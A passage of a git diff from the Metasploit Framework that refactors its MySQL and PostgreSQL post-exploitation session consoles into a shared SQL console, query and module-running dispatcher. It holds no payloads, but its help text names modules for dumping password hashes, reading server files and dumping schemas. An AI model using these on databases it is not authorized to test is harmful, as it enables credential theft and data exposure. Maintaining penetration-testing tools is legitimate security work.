self.client = session.client - self.cwd = client.database - prompt = "%undMySQL @ #{client.socket.peerinfo} (#{cwd})%clr" + self.database_name = client.database + prompt = "%undMySQL @ #{client.socket.peerinfo} (#{self.database_name})%clr" history_manager = Msf::Config.mysql_session_history super(prompt, '>', history_manager, nil, :mysql) @@ -44,62 +46,6 @@ def initialize(session) end end - # Called when someone wants to interact with the mysql client. It's - # assumed that init_ui has been called prior. - # - # @param [Proc] block - # @return [Integer] - def interact(&block) - # Run queued commands - commands.delete_if do |ent| - run_single(ent) - true - end - - # Run the interactive loop - run do |line| - # Run the command - run_single(line) - - # If a block was supplied, call it, otherwise return false - if block - block.call - else - false - end - end - end - - # Queues a command to be run when the interactive loop is entered. - # - # @param [Object] cmd - # @return [Object] - def queue_cmd(cmd) - self.commands << cmd - end - - # Runs the specified command wrapper in something to catch meterpreter - # exceptions. - # - # @param [Object] dispatcher - # @param [Object] method - # @param [Object] arguments - # @return [FalseClass] - def run_command(dispatcher, method, arguments) - begin - super - rescue ::Timeout::Error - log_error('Operation timed out.') - rescue ::Rex::InvalidDestination => e - log_error(e.message) - rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError - self.session.kill - rescue ::StandardError => e - log_error("Error running command #{method}: #{e.class} #{e}") - elog(e) - end - end - # Logs that an error occurred and persists the callstack. # # @param [Object] msg @@ -119,13 +65,13 @@ def log_error(msg) attr_reader :client # @return [String] - attr_accessor :cwd + attr_accessor :database_name # @param [Object] val # @return [String] def format_prompt(val) - @cwd ||= client.database - prompt = "%undMySQL @ #{client.socket.peerinfo} (#{@cwd})%clr > " + @database_name ||= client.database + prompt = "%undMySQL @ #{client.socket.peerinfo} (#{@database_name})%clr > " substitute_colors(prompt, true) end diff --git a/lib/rex/post/mysql/ui/console/command_dispatcher.rb b/lib/rex/post/mysql/ui/console/command_dispatcher.rb index 12f234f577fef..78c9ae1b304ac 100644 --- a/lib/rex/post/mysql/ui/console/command_dispatcher.rb +++ b/lib/rex/post/mysql/ui/console/command_dispatcher.rb @@ -10,58 +10,8 @@ module Ui # Base class for all command dispatchers within the MySQL console user interface. module Console::CommandDispatcher include Msf::Ui::Console::CommandDispatcher::Session - - # Initializes an instance of the core command set using the supplied session and client - # for interactivity. - # - # @param [Rex::Post::MySQL::Ui::Console] console - def initialize(console) - super - @msf_loaded = nil - @filtered_commands = [] - end - - # Returns the MySQL client context. - # - # @return [MySQL::Client] - def client - console = shell - console.client - end - - # Returns the MySQL session context. - # - # @return [Msf::Sessions::MySQL] - def session - console = shell - console.session - end - - # Returns the commands that meet the requirements - # - # @param [Object] all - # @param [Object] reqs - # @return [Object] - def filter_commands(all, reqs) - all.delete_if do |cmd, _desc| - if reqs[cmd]&.any? { |req| !client.commands.include?(req) } - @filtered_commands << cmd - true - end - end - end - - # @param [Object] cmd - # @param [Object] line - # @return [Symbol, nil] - def unknown_command(cmd, line) - if @filtered_commands.include?(cmd) - print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})") - return :handled - end - - super - end + require 'rex/post/sql/ui/console/command_dispatcher' + include Rex::Post::Sql::Ui::Console::CommandDispatcher # Return the subdir of the `documentation/` directory that should be used # to find usage documentation @@ -71,29 +21,12 @@ def docs_dir ::File.join(super, 'mysql_session') end - # Returns true if the client has a framework object. - # Used for firing framework session events - # - # @return [TrueClass, FalseClass] - def msf_loaded? - return @msf_loaded unless @msf_loaded.nil? - - # if we get here we must not have initialized yet - - @msf_loaded = !session.framework.nil? - @msf_loaded - end - # Log that an error occurred. # # @param [Object] msg # @return [Object] def log_error(msg) - print_error(msg) - - elog(msg, 'mysql') - - dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'mysql') + super(msg, protocol: 'mysql') end end end diff --git a/lib/rex/post/mysql/ui/console/command_dispatcher/client.rb b/lib/rex/post/mysql/ui/console/command_dispatcher/client.rb index dffc2a7ba414c..bd4f5c443e037 100644 --- a/lib/rex/post/mysql/ui/console/command_dispatcher/client.rb +++ b/lib/rex/post/mysql/ui/console/command_dispatcher/client.rb @@ -1,8 +1,5 @@ # -*- coding: binary -*- -require 'pathname' -require 'reline' - module Rex module Post module MySQL @@ -10,149 +7,19 @@ module Ui # Core MySQL client commands class Console::CommandDispatcher::Client - include Rex::Post::MySQL::Ui::Console::CommandDispatcher - - # Initializes an instance of the core command set using the supplied console - # for interactivity. - # - # @param [Rex::Post::MySQL::Ui::Console] console - def initialize(console) - super - - @db_search_results = [] - end - - # List of supported commands. - # - # @return [Hash{String->String}] - def commands - cmds = { - 'query' => 'Run a raw SQL query', - 'shell' => 'Enter a raw shell where SQL queries can be executed', - } - - reqs = {} - - filter_commands(cmds, reqs) - end + require 'rex/post/sql/ui/console/command_dispatcher/client' + include Rex::Post::Sql::Ui::Console::CommandDispatcher::Client # @return [String] def name 'MySQL Client' end - # @param [Object] args - # @return [FalseClass, TrueClass] - def help_args?(args) - return false unless args.instance_of?(::Array) - - args.include?('-h') || args.include?('--help') - end - - # @return [Object] - def cmd_shell_help - print_line 'Usage: shell' - print_line - print_line 'Go into a raw SQL shell where SQL queries can be executed.' - print_line 'To exit, type `exit`, `quit`, `end` or `stop`.' - print_line - end - - # @param [Array] args - # @return [Object] - def cmd_shell(*args) - if help_args?(args) - cmd_shell_help - return - end - - stop_words = %w[stop s exit e end quit q].freeze - - # Allow the user to query the DB in a loop. - finished = false - until finished - begin - # This needs to be here, otherwise the `ensure` block would reset it to the previous - # value after a single query, meaning future queries would have the default prompt_block. - prompt_proc_before = ::Reline.prompt_proc - ::Reline.prompt_proc = proc { |line_buffer| line_buffer.each_with_index.map { |_line, i| i > 0 ? 'SQL *> ' : 'SQL >> ' } } - - # This will loop until it receives `true`. - raw_query = ::Reline.readmultiline('SQL >> ', use_history = true) do |multiline_input| - # In the case only a stop word was input, exit out of the REPL shell - finished = multiline_input.split.count == 1 && stop_words.include?(multiline_input.split.last) - # Accept the input until the current line does not end with '\', similar to a shell - finished || multiline_input.split.empty? || !multiline_input.split.last&.end_with?('\\') - end - rescue ::Interrupt => _e - finished = true - ensure - ::Reline.prompt_proc = prompt_proc_before - end - - if finished - print_status 'Exiting Shell mode.' - return - end - - formatted_query = process_query(query: raw_query) - - unless formatted_query.empty? - print_status "Running SQL Command: '#{formatted_query}'" - cmd_query(formatted_query) - end - end - end - # @return [Object] def cmd_query_help - print_line 'Usage: query' - print_line - print_line 'Run a raw SQL query on the target.' - print_line 'Examples:' - print_line "\tquery SHOW DATABASES;" - print_line "\tquery USE information_schema;" - print_line "\tquery SELECT * FROM SQL_FUNCTIONS;" - print_line "\tquery SELECT version();" - print_line - end - - # @param [Array] result The result of an SQL query to format. - def format_result(result) - columns = ['#'] - - unless result.is_a?(Array) - result.fields.each { |field| columns.append(field.name) } - - ::Rex::Text::Table.new( - 'Header' => 'Query Result', - 'Indent' => 4, - 'Columns' => columns, - 'Rows' => result.map.each.with_index { |row, i| [i, row].flatten } - ) - end - end - - # @param [Array] args SQL query - # @return [Object] - def cmd_query(*args) - cmd_query_help && return if help_args?(args) - - query = args.join(' ').to_s - print_status("Sending statement: '#{query}'...") - result = client.query(query) || [] - - table = format_result(result) - print_line(table.to_s) - end - - # @param [String] query - # @return [String] - def process_query(query: '') - return '' if query.empty? - - query.lines.each.map { |line| line.chomp("\\\n").strip }.reject(&:empty?).compact.join(' ') + examples = ['SHOW DATABASES;', 'USE information_schema;', 'SELECT * FROM SQL_FUNCTIONS;', 'SELECT version();'] + super(examples: examples) end end end diff --git a/lib/rex/post/mysql/ui/console/command_dispatcher/core.rb b/lib/rex/post/mysql/ui/console/command_dispatcher/core.rb index 4f1a146203999..40a4b4169f803 100644 --- a/lib/rex/post/mysql/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/mysql/ui/console/command_dispatcher/core.rb @@ -7,42 +7,9 @@ module Ui # Core MySQL client commands class Console::CommandDispatcher::Core - include Rex::Post::MySQL::Ui::Console::CommandDispatcher - - # List of supported commands. - # - # @return [Hash{String->String}] - def commands - cmds = { - '?' => 'Help menu', - 'background' => 'Backgrounds the current session', - 'bg' => 'Alias for background', - 'exit' => 'Terminate the MySQL session', - 'help' => 'Help menu', - 'irb' => 'Open an interactive Ruby shell on the current session', - 'pry' => 'Open the Pry debugger on the current session', - 'sessions' => 'Quickly switch to another session', - } - - reqs = {} - - filter_commands(cmds, reqs) - end - - # @return [String] - def name - 'Core' - end - - # @param [Object] cmd - # @param [Object] line - # @return [Symbol, nil] - def unknown_command(cmd, line) - status = super - - status - end + require 'rex/post/sql/ui/console/command_dispatcher/core' + include Rex::Post::Sql::Ui::Console::CommandDispatcher::Core end end end diff --git a/lib/rex/post/mysql/ui/console/command_dispatcher/modules.rb b/lib/rex/post/mysql/ui/console/command_dispatcher/modules.rb index bb0892b66e278..1459708e4f452 100644 --- a/lib/rex/post/mysql/ui/console/command_dispatcher/modules.rb +++ b/lib/rex/post/mysql/ui/console/command_dispatcher/modules.rb @@ -1,7 +1,5 @@ # -*- coding: binary -*- -require 'pathname' - module Rex module Post module MySQL @@ -9,89 +7,13 @@ module Ui # MySQL client commands for running modules class Console::CommandDispatcher::Modules - include Rex::Post::MySQL::Ui::Console::CommandDispatcher + require 'rex/post/sql/ui/console/command_dispatcher/modules' + include Rex::Post::Sql::Ui::Console::CommandDispatcher::Modules - # List of supported commands. - # - # @return [Hash{String->String}] - def commands - cmds = { - 'run' => 'Run a module' - } - - reqs = {} - - filter_commands(cmds, reqs) - end - - # Modules - # - # @return [String] - def name - 'Modules' - end - - # @return [Object] def cmd_run_help - print_line 'Usage: run' - print_line - print_line 'Run a module or script against the current session.' - print_line - print_line 'Example:' - print_line "\trun auxiliary/admin/mysql/mysql_enum" - print_line "\trun my_erb_script.rc" - print_line - end - - # Executes a module/script in the context of the MySQL session. - # - # @param [Array] args - # @return [TrueClass] - def cmd_run(*args) - if args.empty? || args.first == '-h' || args.first == '--help' - cmd_run_help - return true - end - - # Get the script name - begin - script_name = args.shift - # First try it as a module if we have access to the Metasploit - # Framework instance. If we don't, or if no such module exists, - # fall back to using the scripting interface. - if msf_loaded? && (mod = session.framework.modules.create(script_name)) - original_mod = mod - reloaded_mod = session.framework.modules.reload_module(original_mod) - - unless reloaded_mod - error = session.framework.modules.module_load_error_by_path[original_mod.file_path] - print_error("Failed to reload module: #{error}") - - return - end - - opts = '' - - opts << (args + [ "SESSION=#{session.sid}" ]).join(',') - result = reloaded_mod.run_simple( - 'LocalInput' => shell.input, - 'LocalOutput' => shell.output, - 'OptionStr' => opts - ) - - print_status("Session #{result.sid} created in the background.") if result.is_a?(Msf::Session) - else - # the rest of the arguments get passed in through the binding - session.execute_script(script_name, args) - end - rescue Msf::OptionValidateError => e - print_error(e.message) - elog('Option validation error:', error: e) - rescue StandardError => e - print_error("Error in script: #{script_name}") - elog("Error in script: #{script_name}", error: e) - end + examples = %w[auxiliary/scanner/mysql/mysql_schemadump auxiliary/scanner/mysql/mysql_hashdump auxiliary/scanner/mysql/mysql_file_enum my_erb_script.rc] + super(examples: examples) end end end diff --git a/lib/rex/post/postgresql.rb b/lib/rex/post/postgresql.rb index 934ad12ae8dfc..68e37fb050fd9 100644 --- a/lib/rex/post/postgresql.rb +++ b/lib/rex/post/postgresql.rb @@ -1,3 +1,4 @@ # -*- coding: binary -*- +require 'rex/post/sql' require 'rex/post/postgresql/ui' diff --git a/lib/rex/post/postgresql/ui/console.rb b/lib/rex/post/postgresql/ui/console.rb index 9c45bac59dff2..7dbf9116fffd4 100644 --- a/lib/rex/post/postgresql/ui/console.rb +++ b/lib/rex/post/postgresql/ui/console.rb @@ -11,6 +11,8 @@ module Ui ### class Console include Rex::Ui::Text::DispatcherShell + require 'rex/post/sql/ui/console' + include Rex::Post::Sql::Ui::Console # Dispatchers require 'rex/post/postgresql/ui/console/command_dispatcher' @@ -18,10 +20,6 @@ class Console require 'rex/post/postgresql/ui/console/command_dispatcher/client' require 'rex/post/postgresql/ui/console/command_dispatcher/modules' - # Interactive channel, required for the REPL shell interaction and correct CTRL + Z handling. - # Zeitwerk ignored `rex/post` files so we need to `require` this file here. - require 'rex/post/postgresql/ui/console/interactive_sql_client' - # # Initialize the PostgreSQL console. # @@ -30,8 +28,8 @@ def initialize(session) # The postgresql client context self.session = session self.client = session.client - self.cwd = client.params['database'] - prompt = "%undPostgreSQL @ #{client.conn.peerinfo} (#{cwd})%clr" + self.database_name = client.params['database'] + prompt = "%undPostgreSQL @ #{client.conn.peerinfo} (#{self.database_name})%clr" history_manager = Msf::Config.postgresql_session_history super(prompt, '>', history_manager, nil, :postgresql) @@ -51,57 +49,6 @@ def initialize(session) end end - # - # Called when someone wants to interact with the postgresql client. It's - # assumed that init_ui has been called prior. - # - def interact(&block) - # Run queued commands - commands.delete_if do |ent| - run_single(ent) - true - end - - # Run the interactive loop - run do |line| - # Run the command - run_single(line) - - # If a block was supplied, call it, otherwise return false - if block - block.call - else - false - end - end - end - - # - # Queues a command to be run when the interactive loop is entered. - # - def queue_cmd(cmd) - self.commands << cmd - end - - # - # Runs the specified command wrapper in something to catch meterpreter - # exceptions. - # - def run_command(dispatcher, method, arguments) - begin - super - rescue ::Timeout::Error - log_error('Operation timed out.') - rescue ::Rex::InvalidDestination => e - log_error(e.message) - rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError - self.session.kill - rescue ::StandardError => e - log_error("Error running command #{method}: #{e.class} #{e}") - elog(e) - end - end - # # Logs that an error occurred and persists the callstack. # @@ -113,22 +60,6 @@ def log_error(msg) dlog("Call stack:\n#{$@.join("\n")}", 'postgresql') end - # - # Interacts with the supplied client. - # - def interact_with_client(client_dispatcher: nil) - return unless client_dispatcher - - client.extend(InteractiveSqlClient) unless (client.kind_of?(InteractiveSqlClient) == true) - client.on_command_proc = self.on_command_proc if self.on_command_proc - client.on_print_proc = self.on_print_proc if self.on_print_proc - client.on_log_proc = method(:log_output) if self.respond_to?(:log_output, true) - client.client_dispatcher = client_dispatcher - - client.interact(input, output) - client.reset_ui - end - # @return [Msf::Sessions::PostgreSQL] attr_reader :session @@ -136,11 +67,11 @@ def interact_with_client(client_dispatcher: nil) attr_reader :client # :nodoc: # @return [String] - attr_accessor :cwd + attr_accessor :database_name def format_prompt(val) - cwd ||= client.params['database'] - prompt = "%undPostgreSQL @ #{client.conn.peerinfo} (#{cwd})%clr > " + db_name ||= client.params['database'] + prompt = "%undPostgreSQL @ #{client.conn.peerinfo} (#{db_name})%clr > " substitute_colors(prompt, true) end diff --git a/lib/rex/post/postgresql/ui/console/command_dispatcher.rb b/lib/rex/post/postgresql/ui/console/command_dispatcher.rb index 95a8aede686e4..2e31949ef3f21 100644 --- a/lib/rex/post/postgresql/ui/console/command_dispatcher.rb +++ b/lib/rex/post/postgresql/ui/console/command_dispatcher.rb @@ -13,56 +13,8 @@ module Ui ### module Console::CommandDispatcher include Msf::Ui::Console::CommandDispatcher::Session - - # - # Initializes an instance of the core command set using the supplied session and client - # for interactivity. - # - # @param [Rex::Post::PostgreSQL::Ui::Console] console - def initialize(console) - super - @msf_loaded = nil - @filtered_commands = [] - end - - # - # Returns the PostgreSQL client context. - # - # @return [PostgreSQL::Client] - def client - console = shell - console.client - end - - # - # Returns the PostgreSQL session context. - # - # @return [Msf::Sessions::PostgreSQL] - def session - console = shell - console.session - end - - # - # Returns the commands that meet the requirements - # - def filter_commands(all, reqs) - all.delete_if do |cmd, _desc| - if reqs[cmd]&.any? { |req| !client.commands.include?(req) } - @filtered_commands << cmd - true - end - end - end - - def unknown_command(cmd, line) - if @filtered_commands.include?(cmd) - print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})") - return :handled - end - - super - end + require 'rex/post/sql/ui/console/command_dispatcher' + include Rex::Post::Sql::Ui::Console::CommandDispatcher # # Return the subdir of the `documentation/` directory that should be used @@ -72,29 +24,11 @@ def docs_dir ::File.join(super, 'postgresql_session') end - # - # Returns true if the client has a framework object. - # - # Used for firing framework session events - # - def msf_loaded? - return @msf_loaded unless @msf_loaded.nil? - - # if we get here we must not have initialized yet - - @msf_loaded = !session.framework.nil? - @msf_loaded - end - # # Log that an error occurred. # def log_error(msg) - print_error(msg) - - elog(msg, 'postgresql') - - dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'postgresql') + super(msg, protocol: 'postgresql') end end end diff --git a/lib/rex/post/postgresql/ui/console/command_dispatcher/client.rb b/lib/rex/post/postgresql/ui/console/command_dispatcher/client.rb index ced8dc4e8bfad..0ec50e1a94862 100644 --- a/lib/rex/post/postgresql/ui/console/command_dispatcher/client.rb +++ b/lib/rex/post/postgresql/ui/console/command_dispatcher/client.rb @@ -1,8 +1,5 @@ # -*- coding: binary -*- -require 'pathname' -require 'reline' - module Rex module Post module PostgreSQL @@ -14,119 +11,17 @@ module Ui # ### class Console::CommandDispatcher::Client - include Rex::Post::PostgreSQL::Ui::Console::CommandDispatcher - - # - # Initializes an instance of the core command set using the supplied console - # for interactivity. - # - # @param [Rex::Post::PostgreSQL::Ui::Console] console - def initialize(console) - super - - @db_search_results = [] - end - - # - # List of supported commands. - # - def commands - cmds = { - 'query' => 'Run a raw SQL query', - 'shell' => 'Enter a raw shell where SQL queries can be executed', - } - - reqs = {} - - filter_commands(cmds, reqs) - end + require 'rex/post/sql/ui/console/command_dispatcher/client' + include Rex::Post::Sql::Ui::Console::CommandDispatcher::Client def name 'PostgreSQL Client' end - def help_args?(args) - return false unless args.instance_of?(::Array) - - args.include?('-h') || args.include?('--help') - end - - def cmd_shell_help - print_line 'Usage: shell' - print_line - print_line 'Go into a raw SQL shell where SQL queries can be executed.' - print_line 'To exit, type `exit`, `quit`, `end` or `stop`.' - print_line - end - - def cmd_shell(*args) - if help_args?(args) - cmd_shell_help - return - end - - console = shell - # Pass in self so that we can call cmd_query in subsequent calls - console.interact_with_client(client_dispatcher: self) - end - def cmd_query_help - print_line 'Usage: query' - print_line - print_line 'Run a raw SQL query on the target.' - print_line - print_line 'Examples:' - print_line "\tquery SELECT user;" - print_line "\tquery SELECT version();" - print_line "\tquery SELECT * FROM pg_catalog.pg_tables;" - print_line - end - - # - # @param [::Msf::Db::PostgresPR::Connection::Result] result The result of an SQL query to format. - def format_result(result) - columns = ['#'] - columns.append(result.fields.map.each { |field| field[:name] }) - flat_columns = columns.flatten - - ::Rex::Text::Table.new( - 'Header' => 'Query', - 'Indent' => 4, - 'Columns' => flat_columns, - 'Rows' => result.rows.map.each.with_index do |row, i| - [i, row].flatten - end - ) - end - - def cmd_query(*args) - if help_args?(args) - cmd_query_help - return - end - - begin - result = client.query(args.join(' ').to_s) - rescue ::RuntimeError => e - print_error "Query result: #{e}" - print_line - return - end - - print_status result.cmd_tag - print_line - - unless result.rows.empty? - table = format_result(result) - print_line(table.to_s) - end - end - - def process_query(query: '') - return '' if query.empty? - - query.lines.each.map { |line| line.chomp.chomp('\\').strip }.reject(&:empty?).compact.join(' ') + examples = ['SELECT user;', 'SELECT version();', 'SELECT * FROM pg_catalog.pg_tables;'] + super(examples: examples) end end end diff --git a/lib/rex/post/postgresql/ui/console/command_dispatcher/core.rb b/lib/rex/post/postgresql/ui/console/command_dispatcher/core.rb index 2091f7d736002..e0a87494058d4 100644 --- a/lib/rex/post/postgresql/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/postgresql/ui/console/command_dispatcher/core.rb @@ -11,38 +11,9 @@ module Ui # ### class Console::CommandDispatcher::Core - include Rex::Post::PostgreSQL::Ui::Console::CommandDispatcher - - # - # List of supported commands. - # - def commands - cmds = { - '?' => 'Help menu', - 'background' => 'Backgrounds the current session', - 'bg' => 'Alias for background', - 'exit' => 'Terminate the PostgreSQL session', - 'help' => 'Help menu', - 'irb' => 'Open an interactive Ruby shell on the current session', - 'pry' => 'Open the Pry debugger on the current session', - 'sessions' => 'Quickly switch to another session', - } - - reqs = {} - - filter_commands(cmds, reqs) - end - - def name - 'Core' - end - - def unknown_command(cmd, line) - status = super - - status - end + require 'rex/post/sql/ui/console/command_dispatcher/core' + include Rex::Post::Sql::Ui::Console::CommandDispatcher::Core end end end diff --git a/lib/rex/post/postgresql/ui/console/command_dispatcher/modules.rb b/lib/rex/post/postgresql/ui/console/command_dispatcher/modules.rb index 69685b7e0e3df..0fc5a5a55d3c1 100644 --- a/lib/rex/post/postgresql/ui/console/command_dispatcher/modules.rb +++ b/lib/rex/post/postgresql/ui/console/command_dispatcher/modules.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -require 'pathname' +# require 'pathname' module Rex module Post @@ -12,85 +12,13 @@ module Ui # ### class Console::CommandDispatcher::Modules - include Rex::Post::PostgreSQL::Ui::Console::CommandDispatcher - - - # - # List of supported commands. - # - def commands - cmds = { - 'run' => 'Run a module' - } - - reqs = {} - - filter_commands(cmds, reqs) - end - - # - # Modules - # - def name - 'Modules' - end + require 'rex/post/sql/ui/console/command_dispatcher/modules' + include Rex::Post::Sql::Ui::Console::CommandDispatcher::Modules def cmd_run_help - print_line 'Usage: run' - print_line - print_line 'Run a module or script against the current session.' - print_line - print_line 'Example:' - print_line "\trun auxiliary/scanner/postgres/postgres_schemadump" - print_line "\trun my_erb_script.rc" - print_line - end - - # - # Executes a module/script in the context of the PostgreSQL session. - # - def cmd_run(*args) - if args.empty? || args.first == '-h' || args.first == '--help' - cmd_run_help - return true - end - - # Get the script name - begin - script_name = args.shift - # First try it as a module if we have access to the Metasploit - # Framework instance. If we don't, or if no such module exists, - # fall back to using the scripting interface. - if msf_loaded? && (mod = session.framework.modules.create(script_name)) - original_mod = mod - reloaded_mod = session.framework.modules.reload_module(original_mod) - - unless reloaded_mod - error = session.framework.modules.module_load_error_by_path[original_mod.file_path] - print_error("Failed to reload module: #{error}") - - return - end - - opts = '' - - opts << (args + [ "SESSION=#{session.sid}" ]).join(',') - result = reloaded_mod.run_simple( - 'LocalInput' => shell.input, - 'LocalOutput' => shell.output, - 'OptionStr' => opts - ) - - print_status("Session #{result.sid} created in the background.") if result.is_a?(Msf::Session) - else - # the rest of the arguments get passed in through the binding - session.execute_script(script_name, args) - end - rescue StandardError => e - print_error("Error in script: #{script_name}") - elog("Error in script: #{script_name}", error: e) - end + examples = %w[auxiliary/scanner/postgres/postgres_schemadump auxiliary/scanner/postgres/postgres_hashdump auxiliary/admin/postgres/postgres_readfile my_erb_script.rc] + super(examples: examples) end end end diff --git a/lib/rex/post/sql.rb b/lib/rex/post/sql.rb new file mode 100644 index 0000000000000..d1f04ebf19bd2 --- /dev/null +++ b/lib/rex/post/sql.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/post/sql/ui' diff --git a/lib/rex/post/sql/ui.rb b/lib/rex/post/sql/ui.rb new file mode 100644 index 0000000000000..c05bbf6848ffb --- /dev/null +++ b/lib/rex/post/sql/ui.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/post/sql/ui/console' diff --git a/lib/rex/post/sql/ui/console.rb b/lib/rex/post/sql/ui/console.rb new file mode 100644 index 0000000000000..0752a2c8f0e85 --- /dev/null +++ b/lib/rex/post/sql/ui/console.rb @@ -0,0 +1,82 @@ +module Rex + module Post + module Sql + module Ui + module Console + require 'rex/post/sql/ui/console/interactive_sql_client' + # Called when someone wants to interact with an SQL client. It's + # assumed that init_ui has been called prior. + # + # @param [Proc] block + # @return [Integer] + def interact(&block) + # Run queued commands + commands.delete_if do |ent| + run_single(ent) + true + end + + # Run the interactive loop + run do |line| + # Run the command + run_single(line) + + # If a block was supplied, call it, otherwise return false + if block + block.call + else + false + end + end + end + + # Queues a command to be run when the interactive loop is entered. + # + # @param [Object] cmd + # @return [Object] + def queue_cmd(cmd) + self.commands << cmd + end + + # Runs the specified command wrapper in something to catch meterpreter + # exceptions. + # + # @param [Object] dispatcher + # @param [Object] method + # @param [Object] arguments + # @return [FalseClass] + def run_command(dispatcher, method, arguments) + begin + super + rescue ::Timeout::Error + log_error('Operation timed out.') + rescue ::Rex::InvalidDestination => e + log_error(e.message) + rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError + self.session.kill + rescue ::StandardError => e + log_error("Error running command #{method}: #{e.class} #{e}") + elog(e) + end + end + + # + # Interacts with the supplied client. + # + def interact_with_client(client_dispatcher: nil) + return unless client_dispatcher + + client.extend(InteractiveSqlClient) unless (client.is_a?(InteractiveSqlClient) == true) + client.on_command_proc = self.on_command_proc if self.on_command_proc && client.respond_to?(:on_command_proc) + client.on_print_proc = self.on_print_proc if self.on_print_proc && client.respond_to?(:on_print_proc) + client.on_log_proc = method(:log_output) if self.respond_to?(:log_output, true) && client.respond_to?(:on_log_proc) + client.client_dispatcher = client_dispatcher + + client.interact(input, output) + client.reset_ui + end + end + end + end + end +end diff --git a/lib/rex/post/sql/ui/console/command_dispatcher.rb b/lib/rex/post/sql/ui/console/command_dispatcher.rb new file mode 100644 index 0000000000000..e470f43ba88d7 --- /dev/null +++ b/lib/rex/post/sql/ui/console/command_dispatcher.rb @@ -0,0 +1,96 @@ +# -*- coding: binary -*- + +# require 'rex/ui/text/dispatcher_shell' + + +module Rex + module Post + module Sql + module Ui + ### + # + # Base class for all command dispatchers within the PostgreSQL console user interface. + # + ### + module Console::CommandDispatcher + # include Msf::Ui::Console::CommandDispatcher::Session + + # + # Initializes an instance of the core command set using the supplied session and client + # for interactivity. + # + # @param [Rex::Post::PostgreSQL::Ui::Console] console + def initialize(console) + super + @msf_loaded = nil + @filtered_commands = [] + end + + # + # Returns the PostgreSQL client context. + # + # @return [PostgreSQL::Client] + def client + console = shell + console.client + end + + # + # Returns the PostgreSQL session context. + # + # @return [Msf::Sessions::PostgreSQL] + def session + console = shell + console.session + end + + # + # Returns the commands that meet the requirements + # + def filter_commands(all, reqs) + all.delete_if do |cmd, _desc| + if reqs[cmd]&.any? { |req| !client.commands.include?(req) } + @filtered_commands << cmd + true + end + end + end + + def unknown_command(cmd, line) + if @filtered_commands.include?(cmd) + print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})") + return :handled + end + + super + end + + # + # Returns true if the client has a framework object. + # + # Used for firing framework session events + # + def msf_loaded? + return @msf_loaded unless @msf_loaded.nil? + + # if we get here we must not have initialized yet + + @msf_loaded = !session.framework.nil? + @msf_loaded + end + + # + # Log that an error occurred. + # + def log_error(msg, protocol: '') + print_error(msg) + + elog(msg, protocol) + + dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", protocol) + end + end + end + end + end +end diff --git a/lib/rex/post/sql/ui/console/command_dispatcher/client.rb b/lib/rex/post/sql/ui/console/command_dispatcher/client.rb new file mode 100644 index 0000000000000..958fe15783d2a --- /dev/null +++ b/lib/rex/post/sql/ui/console/command_dispatcher/client.rb @@ -0,0 +1,156 @@ +# -*- coding: binary -*- + +module Rex + module Post + module Sql + module Ui + + ### + # + # Core Generic SQL client commands + # + ### + module Console::CommandDispatcher::Client + # + # Initializes an instance of the core command set using the supplied console + # for interactivity. + # + # @param console The protocol-specific Rex Ui Console + def initialize(console) + super + + @db_search_results = [] + end + + # + # List of supported commands. + # + def commands + cmds = { + 'query' => 'Run a raw SQL query', + 'shell' => 'Enter a raw shell where SQL queries can be executed', + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + def name + raise ::NotImplementedError + end + + def help_args?(args) + return false unless args.instance_of?(::Array) + + args.include?('-h') || args.include?('--help') + end + + def cmd_shell_help + print_line 'Usage: shell' + print_line + print_line 'Go into a raw SQL shell where SQL queries can be executed.' + print_line "To exit, type 'exit', 'quit', 'end' or 'stop'." + print_line + end + + def cmd_shell(*args) + if help_args?(args) + cmd_shell_help + return + end + + console = shell + # Pass in self so that we can call cmd_query in subsequent calls + console.interact_with_client(client_dispatcher: self) + end + + def normalise_sql_result(result) + # Let's extract the columns and rows as that's the only thing we want? + # We can special-case it for each result type/class. + normalised_sql = { columns: [], rows: [] } + if result.is_a?(::Mysql::Result) # MySQL + normalised_sql[:columns] = result.fields.each.map { |field| field.name } + normalised_sql[:rows] = result.entries + elsif result.is_a?(::Msf::Db::PostgresPR::Connection::Result) # PostgreSQL + normalised_sql[:columns] = result.fields.each.map { |field| field.name } + normalised_sql[:rows] = result.rows + elsif result.is_a?(::Hash) # MSSQL + # In the case of an error, do we check result[:errors].any? + normalised_sql[:columns] = result[:colnames] + normalised_sql[:rows] = result[:rows] + end + normalised_sql + end + + def format_result(result) + normalised_result = normalise_sql_result(result) + + number_column = ['#'] + columns = [number_column, normalised_result[:columns]].flatten + rows = normalised_result[:rows].map.each_with_index do |row, i| + [i, row].flatten + end + + ::Rex::Text::Table.new( + 'Header' => 'Query', + 'Indent' => 4, + 'Columns' => columns, + 'Rows' => rows + ) + end + + # @return [Object] + def cmd_query_help(examples: []) + print_line 'Usage: query' + print_line + print_line 'Run a raw SQL query on the target.' + print_line + + if examples.any? + print_line 'Examples:' + print_line + examples.each { |example| print_line " query #{example}" } + print_line + end + end + + def cmd_query(*args) + if help_args?(args) + cmd_query_help + return + end + + # NOTE: Not all SQL clients could raise here. + # But let's use a begin-rescue block to encompass all SQL session types. + begin + result = client.query(args.join(' ').to_s) || [] + rescue ::RuntimeError => e + print_error "Query result: #{e}" + print_line + return + end + + if result.respond_to? :cmd_tag + print_status result.cmd_tag + print_line + end + + if (result.respond_to?(:rows) && result.rows.any?) || + (result.instance_of?(::Hash) && result[:rows].any?) || + (result.instance_of?(::Mysql::Result) && result.num_rows > 0) + table = format_result(result) + print_line(table.to_s) + end + end + + def process_query(query: '') + return '' if query.empty? + + query.lines.each.map { |line| line.chomp.chomp('\\').strip }.reject(&:empty?).compact.join(' ') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/post/sql/ui/console/command_dispatcher/core.rb 